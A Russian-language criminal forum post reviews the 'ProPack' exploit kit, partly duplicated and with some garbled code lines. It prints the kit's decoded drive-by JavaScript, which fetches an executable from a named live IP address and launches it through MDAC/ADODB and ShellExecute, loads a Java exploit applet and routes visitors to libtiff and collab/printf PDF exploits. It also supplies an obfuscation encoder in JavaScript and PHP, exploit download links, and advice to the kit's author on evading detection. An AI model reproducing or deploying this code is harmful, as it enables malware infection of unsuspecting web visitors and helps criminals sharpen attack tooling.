Приветствую завсегдатых и новеньких форумчан дамаги!Сегодня на нашем операционном столе новичек на рынке связок - ProPack exploit kit.
Топик о продаже:
Сама связка:
Я смог увидеть только гостевую админку, к основной, к сожалению, у меня доступа не было.




В гостевой админке все как в описании продукта:
Ну а теперь перейдем к самому вкусному - к внутренностям. Использовать будем стандартные инструменты для анализа связок.
Выдача связки (get.dump) для user-agent msie 6 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Выдача покрыта простым криптором, который легко снимается заменой (для Chrome):
на:
Или так (decoder.js):
Расшифрованная выдача связки (dec.dump):

В более удобо-варимом виде:
Выдача доступна повторно, т.е. нет отсечения неуников!
Также разочаровал тот факт, что связка отдает выдачу без проверки user-agent. Например, мне связка отдала выдачу под такими u-a:
Mozilla/5.0 (compatible; Konqueror/3.4; Linux; en_US) KHTML/3.4.0 (like Gecko)
Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1
Mobile/9B176 Safari/7534.48.3
На коленке был написан енкодер связки (enc.js).
Вариант на JavaScript:
Вариант на PHP (enc.php):
Вернемся к выдаче. Как и в описании присутствуют:
В связке есть проверка версий плагинов
pdf:
java:
Для выдачи мдака используется интересный трюк для определения версии ie:
Также присутствует намек на антиотладку:
Т.е. если дата в формате Unix time stamp < 1351371097 (Sat, 27 Oct 2012 20:51:37 GMT) - запускается ротатор.
Сразу бросается в глаза, что линк на скачку ехе для java aio - в открытом виде.
Перейдем к декоду сплоитов. Начнем с pdf-ок. Как видно из их содержимого, криптуются они по тому же алгоритму.
pdf можно легко разобрать с помощью Javascript debugger Adobe Reader-а
заменив:
на:

Или с помощью скрипта-декодера (pdf_dec.js):
Расшифрованный js из либтифа (libtiff_dec.js):
В переменных var _l1, _l2 - шк

Аналогично для pdf colab-printf (collab-printf_decoder.js)
collab-print_decoded.js:
шк поксорен, в malzilla переходим на вкладку Hex view, вставляем шк (Paste as hex) и брутим на наличие строки http.

Далее в очереди - java aio, открываем его в jd-gui:

Есть проверка версий явы:
Кодес, название классов имеют сходство с сорцами с metasploit-а, складывается впечатление что автор не умеет чистить яву.
Скан эксплоитов, ехе и ip:
==========================Эпилог=============================================
Хотелось бы посоветовать автору ProPack устранить недочеты:
0)отдавать 404 неуникам и проверять user-agent
1)добавить авторизацию для гостевой статы
2)убрать возможность очистки бд из гостевой статы
3)добавить динамические линки (даже у бх уже есть ключи)
4)не хранить линки в открытом виде
5)почистить и переписать java aio
6)убрать неактуальные сплоиты (mdac, pdf collab-printf), которые только лишний раз палят связку
Сейчас на рынке, связок - как грибов после доджя и у каждого продукта свои нанотехнологии
. Я думаю перед тем, как выходить на рынок нужно тщательно проверить свой продукт на наличие багов и недочетов. Мое мнение - на данный момент связка очень сырая.
Покупать/арендовать такой продукт или нет - каждый свой выбор сделает сам!
P.S. Некоторые строки порезал, т.к. они рвали шаблон.
Топик о продаже:
https://xss.pro/index.php?topic=23486
hххp://46.30.42.20/build/dhjy9wm/5ww846y.php выдача
hххp://46.30.42.20/build/dhjy9wm/9ai4jxt.php гостевая админка
hххp://46.30.42.20/build/dhjy9wm/9ai4jxt.php гостевая админка
В гостевой админке все как в описании продукта:
Мне не понравилось, что в гостевой стате нет авторизации и доступна очистка статы. Как написал товарищ el- связкаМы не можем похвастаться креативным дизайном, удобством интерфейса, дополнительными гаджетами. Минимализм в оформлении.
Наверное потому, что билды генерируются с рандомными именами файлов, как и у PEK.сильно напоминает феникс, почему то
Ну а теперь перейдем к самому вкусному - к внутренностям. Использовать будем стандартные инструменты для анализа связок.
Выдача связки (get.dump) для user-agent msie 6 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Код:
<body><script>function run(){/*dcmn.rt(<oy<bd>OJC dy aey egt0wdh0casdcsdC898-8D1C-2D445500>
/BET';ucing(h{r{a f0*c_n@jcitvrin1%0*,ddcmn.raelmn(ojc',e'/./'Mt.lo(ahrno(*9)'ee;ff&f<)d.dd;dcasd'li:
D6566A-1093-00F2E6;a ad.raebet'dd.tem,',bd.raebet'hl.plcto'')c=dCetOjc(mxl.MHT'')c.pn'E'h,as)c.ed)a.ye1a.pn)a.rt
(crsosBd)a.aeoiee,)a.ls(;bSelxct(e',''pn,)}cth()}fnto t)vri,l'..'m=160,n'..'o=142;r{a rdcmn.eEeetyd's)jm;ir.e()vrin}ac e
{ucinj(i{a k='aaeSatiIsald'i+.'i !cieOjc)22/ul/hyw/wldppj1k2)}cth()g(ht:/63.22/ul/hyw/wldppj1k2)}fnto t)dcmn.rt(< ojc
lsi=csdCFEA-E700-00ACEFDB"'+'ds> < / ojc'+'';a il=170,m'..'n=150,o'..'tyvrr=ouetgtlmnBI(s'.vsi=rgt0.eso;cth()fnto ji)
vrk JvWbtr.sntle.+i'0;f(AtvXbet{eunfle}r{eun(e cieOjc(k!nl)}ac e{eunfle}i=j(l)l:j(m)m:j(n)n:j(o)o:ul}r{a ppren(islt''[];fi.pi(_)1)
q=asIti.pi(_)1)}leq=;i((p=)&q<5)|(p=)&q<3)|(p=)&q<))vradcmn.raelmn(ape';.eAtiue'oe,ce73Atce.ls';.
eAtiue'rhv''tp/4.04.0biddj9mbfcdmkpp)vrpdcmn.raelmn(prm)psttrbt(nm''aa)psttrbt(vle,ht:/63.22/ul/hyw/wldppj1k1';.
pedhl()dcmn.oyapnCida;es{B)}cth()a(;}s=nwDt(;a a';aDt.as(s/00i d<31707{t)}*/var e=document.getElementsByTagName
('script')[0].innerHTML;e=e.replace(String.fromCharCode(13,10), '');var a=e.substr(17,2860);var l=2860;var m=(l-l%2)/2;
var b = a.substr(0, m);var c = a.substr(m, m*2);var r='';for (i=0; i<=m; i++){r=r+b.charAt(i)+c.charAt(i);}if (l%2>0)
{r=r+a.charAt(l);}this[e.charAt(40)+e.charAt(106)+e.charAt(39)+e.charAt(124)]®;}run();</script></body>
Код:
this[e.charAt(40)+e.charAt(106)+e.charAt(39)+e.charAt(124)](r);
Код:
console.log(r);
Код:
var a ="<citaet'aaea';/citsrp>lr(dmglb)<srp>";
var l=a.length;
var m=(l-l%2)/2;
var b = a.substr(0, m);
var c = a.substr(m, m*2);
var r='';
for (i=0; i<=m; i++)
{
r=r+b.charAt(i)+c.charAt(i);
}
if (l%2>0)
{
r=r+a.charAt(l);
}
document.write®;
Код:
document.write('<body></body><OBJECT id=yy name=yy height=0 width=0 classid=clsid:CA8A9780-280D-11CF-A24D-444553540000>
</OBJECT>');function gg(hh){try{var ff=0/*@cc_on+@_jscript_version*10%10@*/,dd=document.createElement('object'),
ee='.//..//'+Math.floor(Math.random()*999)+'.exe';if(ff&&ff<7)
{dd.id=dd;dd.classid='clsid:BD96C556-65A3-11D0-983A-00C04FC29E36';
var aa=dd.CreateObject('Adodb.stream',''),BA" ' + 'id=ss>' + '<' + '/' + 'object' + '>');
var ii,ll='1.7.0',mm='1.6.0',nn='1.5.0',oo='1.4.2';
try{var rr=document.getElementById('ss').jvms;ii=rr.get(0).version;}catch (e){function jj(ii){
var kk = 'JavaWebStart.isInstalled.'+ii+'.0';
if (!ActiveXObject){return false;}try{return (new ActiveXObject(kk)!=null);}catch (e)
{return false;}}ii=(jj(ll))?ll:(jj(mm))?mm:(jj(nn))?nn:(jj(oo))?oo:null;}
try{var pp=parseInt(ii.split('.')[1]);if(ii.split('_')[1]){qq=parseInt(ii.split('_')[1]);}
else{qq=0;}if(((pp==5)&&(qq<35))||((pp==6)&&(qq<33))||((pp==7)&&(qq<7))){
var a=document.createElement('applet');a.setAttribute
('code','cve1723.Attacker.class');a.setAttribute('archive','http://46.30.42.20/build/dhjy9wm/bwfqctdymok.php');var p=
document.createElement('param');p.setAttribute('name','data');
p.setAttribute('value','http://46.30.42.20/build/dhjy9wm/twslkd.php?j=1&k=1|');
a.appendChild(p);document.body.appendChild(a);}else{ab();}}catch (e){ab();}}ds =
new Date();var da='';da=Date.parse(ds)/1000;if (da<1351371097){tt();}
Код:
document.write('<body></body><OBJECT id=yy name=yy height=0 width=0 classid=clsid:CA8A9780-280D-11CF-A24D-444553540000></OBJECT>');
function gg(hh)
{
try
{
var ff=0/*@cc_on+@_jscript_version*10%10@*/,dd=document.createElement('object'),ee='.//..//'+Math.floor(Math.random()*999)+'.exe';
if(ff&&ff<7)
{
dd.id=dd;
dd.classid='clsid:BD96C556-65A3-11D0-983A-00C04FC29E36';
var aa=dd.CreateObject('Adodb.stream',''),bb=dd.CreateObject('Shell.Application',''),cc=dd.CreateObject('msxml2.XMLHTTP','');
cc.open('GET',hh,false);
cc.send();
aa.type=1;
aa.open();
aa.Write(cc.responseBody);
aa.SaveToFile(ee,2);
aa.Close();
bb.ShellExecute(ee,'','','open',1);
}
}
catch (e)
{
}
}
function tt()
{
var ii,ll='1.7.0',mm='1.6.0',nn='1.5.0',oo='1.4.2';
try
{
var rr=document.getElementById('ss').jvms;
ii=rr.get(0).version;
}
catch (e)
{
function jj(ii)
{
var kk = 'JavaWebStart.isInstalled.'+ii+'.0';
if (!ActiveXObject)
{
return false;
}
try
{
return (new ActiveXObject(kk)!=null);
}
catch (e)
{
return false;
}
}
ii=(jj(ll))?ll:(jj(mm))?mm:(jj(nn))?nn:(jj(oo))?oo:ii;
}
try
{
var pp=parseInt(ii.split('.')[1]),qq=(ii.split('_')[1])?parseInt(qq):0;
if((pp==7)&&((qq>=3)&&(qq<=6)))
{
J7();
}
else if(((pp==6)&&(qq<31))||((pp==7)&&(qq<3)))
{
J567();
}
else
{
P();
}
}
catch (e)
{
P();
}
}
function ac(ad)
{
var ae=document.createElement('iframe');
ae.src=ad;
ae.width=0;
ae.height=0;
ae.frameborder=0;
document.body.appendChild(ae);
}
function ab()
{
try
{
var vv=/EScript=([^,]+),/,ww=/AcroForm=([^,]+),/,uu=yy.GetVersions();
uu=uu.match(vv)[1];
zz=parseInt(uu.split('.')[0]);
uu=parseInt(uu.replace(/\./g,''));
if ((uu<711)&&((zz==6)||(zz==7)))
{
ac('atmwgoizl3.pdf');
}
else if ((uu>=800)&&(uu<931))
{
ac('ixcohwfvhv.pdf');
}
else
{
gg('http://46.30.42.20/build/dhjy9wm/twslkd.php?j=1&k=2');
}
}
catch (e)
{
gg('http://46.30.42.20/build/dhjy9wm/twslkd.php?j=1&k=2');
}
}
function tt()
{
document.write('<' + 'object classid="clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA" ' + 'id=ss>' + '<' + '/' + 'object' + '>');
var ii,ll='1.7.0',mm='1.6.0',nn='1.5.0',oo='1.4.2';
try
{
var rr=document.getElementById('ss').jvms;
ii=rr.get(0).version;
}
catch (e)
{
function jj(ii)
{
var kk = 'JavaWebStart.isInstalled.'+ii+'.0';
if (!ActiveXObject)
{
return false;
}
try
{
return (new ActiveXObject(kk)!=null);
}
catch (e)
{
return false;
}
}
ii=(jj(ll))?ll:(jj(mm))?mm:(jj(nn))?nn:(jj(oo))?oo:null;
}
try
{
var pp=parseInt(ii.split('.')[1]);
if(ii.split('_')[1])
{
qq=parseInt(ii.split('_')[1]);
}
else
{
qq=0;
}
if(((pp==5)&&(qq<35))||((pp==6)&&(qq<33))||((pp==7)&&(qq<7)))
{
var a=document.createElement('applet');
a.setAttribute('code','cve1723.Attacker.class');
a.setAttribute('archive','http://46.30.42.20/build/dhjy9wm/bwfqctdymok.php');
var p=document.createElement('param');
p.setAttribute('name','data');
p.setAttribute('value','http://46.30.42.20/build/dhjy9wm/twslkd.php?j=1&k=1|');
a.appendChild(p);
document.body.appendChild(a);
}
else
{
ab();
}
}
catch (e)
{
ab();
}
}
ds = new Date();
var da='';
da=Date.parse(ds)/1000;
if (da<1351371097)
{
tt();}
Также разочаровал тот факт, что связка отдает выдачу без проверки user-agent. Например, мне связка отдала выдачу под такими u-a:
Mozilla/5.0 (compatible; Konqueror/3.4; Linux; en_US) KHTML/3.4.0 (like Gecko)
Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1
Mobile/9B176 Safari/7534.48.3
На коленке был написан енкодер связки (enc.js).
Вариант на JavaScript:
Код:
var a ="protocols";
var l=a.length;
var m=l-l%2;
var r='';
for (i=0;i<m;i+=2) {
r=r+a.charAt(i);
}
for (j=1;j<m;j+=2) {
r=r+a.charAt(j);
}
if (l%2>0)
{
r=r+a.charAt(l-1);
}
document.write®;
Код:
<?php
$tpl = '<body><script>function run(){/*{ENCODED}*/var e=document.getElementsByTagName(\'script\')[0].innerHTML;e=
e.replace(String.fromCharCode(13,10), \'\');var a=e.substr(17,{LENGTH});var l={LENGTH};var m=(l-l%2)/2;var b = a.substr(0, m);
var c = a.substr(m, m*2);var r=\'\';for (i=0; i<=m; i++){r=r+b.charAt(i)+c.charAt(i);}if (l%2>0){r=r+a.charAt(l);}eval®;}run();</script></body>';
function encode($data, $tpl) {
$l = strlen($data);
$m=($l-$l%2);
$out = '';
for ($i=0;$i<$m;$i+=2) {
$out .= $data[$i];
}
for ($j = 1;$j < $m; $j+=2) {
$out .= $data[$j];
}
if ($l%2!==0) {
$out .= $data[$l-1];
}
return $out;
}
$enc = encode('alert(\'damagelab\');', $tpl);
$enc_len = strlen($enc);
$tpl = str_replace('{ENCODED}', $enc, $tpl);
$tpl = str_replace('{LENGTH}', $enc_len, $tpl);
echo $tpl;
Качаем сплоиты по соответсвующим линкам:java aio - java all in one или 3 эксплойта java atomic, java byte, java 7 в одном .jar файле (не забыли и про 5ую ветку Java)
libtiff - эксплойт под Adobe Reader 8-9 веток (ixcohwfvhv.pdf)
collab - эксплойт под Adobe Reader 6-7 веток (atmwgoizl3.pdf)
printf - эксплойт под Adobe Reader 7.1.0 (atmwgoizl3.pdf)
mdac - старый добрый эксплойт, все еще дающий пробив на определенном трафике
java aio hxxp://46.30.42.20/build/dhjy9wm/bwfqctdymok.php (javaaio.jar)
collab-printf hxxp://46.30.42.20/build/dhjy9wm/atmwgoizl3.pdf (ixcohwfvhv.pdf)
libtiff hxxp://46.30.42.20/build/dhjy9wm/ixcohwfvhv.pdf (atmwgoizl3.pdf)
Для скачки java aio нужно использовать user-agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_18 т.к. есть проверка на u-a.
collab-printf hxxp://46.30.42.20/build/dhjy9wm/atmwgoizl3.pdf (ixcohwfvhv.pdf)
libtiff hxxp://46.30.42.20/build/dhjy9wm/ixcohwfvhv.pdf (atmwgoizl3.pdf)
Для скачки java aio нужно использовать user-agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_18 т.к. есть проверка на u-a.
pdf:
Код:
var vv=/EScript=([^,]+),/,ww=/AcroForm=([^,]+),/,uu=yy.GetVersions();
uu=uu.match(vv)[1];
zz=parseInt(uu.split('.')[0]);
uu=parseInt(uu.replace(/\./g,''));
if ((uu<711)&&((zz==6)||(zz==7)))
{
ac('atmwgoizl3.pdf');
}
else if ((uu>=800)&&(uu<931))
{
ac('ixcohwfvhv.pdf');
}
Код:
function tt()
{
document.write('<' + 'object classid="clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA" ' + 'id=ss>' + '<' + '/' + 'object' + '>');
var ii,ll='1.7.0',mm='1.6.0',nn='1.5.0',oo='1.4.2';
try
{
var rr=document.getElementById('ss').jvms;
ii=rr.get(0).version;
}
catch (e)
{
function jj(ii)
{
var kk = 'JavaWebStart.isInstalled.'+ii+'.0';
if (!ActiveXObject)
{
return false;
}
try
{
return (new ActiveXObject(kk)!=null);
}
catch (e)
{
return false;
}
}
ii=(jj(ll))?ll:(jj(mm))?mm:(jj(nn))?nn:(jj(oo))?oo:null;
}
try
{
var pp=parseInt(ii.split('.')[1]);
if(ii.split('_')[1])
{
qq=parseInt(ii.split('_')[1]);
}
else
{
qq=0;
}
if(((pp==5)&&(qq<35))||((pp==6)&&(qq<33))||((pp==7)&&(qq<7)))
{
//
}
else
{
ab();
}
}
catch (e)
{
ab();
}
}
Код:
var ff=0/*@cc_on+@_jscript_version*10%10@*/;
if(ff&&ff<7)
{
}
Код:
ds = new Date();
var da='';
da=Date.parse(ds)/1000;
if (da<1351371097)
{
tt();}
Сразу бросается в глаза, что линк на скачку ехе для java aio - в открытом виде.
Перейдем к декоду сплоитов. Начнем с pdf-ок. Как видно из их содержимого, криптуются они по тому же алгоритму.
pdf можно легко разобрать с помощью Javascript debugger Adobe Reader-а
заменив:
Код:
this[e.charAt(48)+e.charAt(19)+e.charAt(31)+e.charAt(542)](r)
Код:
console.show();console.println(r);
Или с помощью скрипта-декодера (pdf_dec.js):
Код:
var a="vr_1'c00f570ac00ff30a3b0a0nto I(I)_0_6tSrn(6;j=j.egh_5(j%)''_0_0rtr I}ucin_2_1{I='fr_60_6_1lnt;I+2{I+'u;I+_9_1caCdA(I+);I+_9_1caCdA(I)}
eun_5fnto j({j=l(;f_490)_5'+Ajgku4K//wAAAAAAAAQAAAAhAigA8IK;j=l;j=I(j)es{j=k+SihpfB///AABAAAAAAAAAAYCSAY/EB'_6_2_7_3_6}j=SkAgAB'_9_2'UB,08)
_l=QcAEAEAAIAAEAEAAAAAEAEAAAABEAEAAAAEEAEAAAAFEAEAAIAUEAwACIAAAAADj//'_l=j+j+l0_5_l=j1_7')i(l2lnt%)l2=
nsae'0';l3_2_l)wt(k_l}_0k;non.aVle_l}1j=appuIsvrj2=asItapveeVrintSrn(.hrt0)fr(a =;i<j1.egh +)i j
1[]nm='om'{a 1jj1[]vrin}i (j2=8&(1j82) |(j2=9&(1j93))_3)}le}";
var l=a.length;
var m=(l-l%2)/2;
var b = a.substr(0, m);
var c = a.substr(m, m*2);
var r='';
for (i=0; i<=m; i++){
r=r+b.charAt(i)+c.charAt(i);
}if (l%2>0){
r=r+a.charAt(l);
}
document.write®;
Код:
var _l1='4c24941fcad03c533db0fbe1038f27408c1cb0d03da40ebf13b1fparseInt(app.viewerVersion.toString().charAt(0));for (var i=0; i < j11j.length; i++)
{if (j11j[i].name=='Forms'){var j13j=j11j[i].version;}}if (((j12j==8)&&(j13j<8.21)) || ((j12j==9)&&(j13j<9.31))){_j3();}else{}
Аналогично для pdf colab-printf (collab-printf_decoder.js)
Код:
var a="vrc=so;}fu=71{t\(;es f\(u71\)&\(z=\)|z=7\){l\(;es{";
var l=a.length+1;
var m=(l-l%2)/2;
var b = a.substr(0, m);
var c = a.substr(m, m*2);
var r='';
for (i=0; i<=m; i++)
{
r=r+b.charAt(i)+c.charAt(i);
}
if (l%2>0)
{
r=r+a.charAt(l);
}
document.write®;
Код:
var cs='8888888888888888888888;util.printf('%45000f',num);}aps=app.plugIns;var zz=parseInt(app.viewerVersion.toString().charAt(0));for(
var i=0;i<aps.length;i++){if(aps[i].name=='EScript'){var uu=aps[i].version;}}if(uu==7.1){ptf();}else if((uu<7.11)&&((zz==6)||(zz==7))){clb();}else{}
Далее в очереди - java aio, открываем его в jd-gui:
Есть проверка версий явы:
Код:
String str1 = System.getProperty("java.version").toString();
String[] arrayOfString1 = str1.split("\\.");
String[] arrayOfString2 = str1.split("_");
int i = Integer.parseInt(arrayOfString1[1]);
int j = Integer.parseInt(arrayOfString2[1]);
if ((i == 7) && (j < 7))
{
}
if (((i == 5) && (j < 34)) || ((i == 6) && (j < 31)))
{
}
if (((i == 6) && (j > 30) && (j < 33)) || ((i == 5) && (j > 33) && (j < 36)))
{
}
Скан эксплоитов, ехе и ip:
Хотелось бы посоветовать автору ProPack устранить недочеты:
0)отдавать 404 неуникам и проверять user-agent
1)добавить авторизацию для гостевой статы
2)убрать возможность очистки бд из гостевой статы
3)добавить динамические линки (даже у бх уже есть ключи)
4)не хранить линки в открытом виде
5)почистить и переписать java aio
6)убрать неактуальные сплоиты (mdac, pdf collab-printf), которые только лишний раз палят связку
Сейчас на рынке, связок - как грибов после доджя и у каждого продукта свои нанотехнологии
Покупать/арендовать такой продукт или нет - каждый свой выбор сделает сам!
P.S. Некоторые строки порезал, т.к. они рвали шаблон.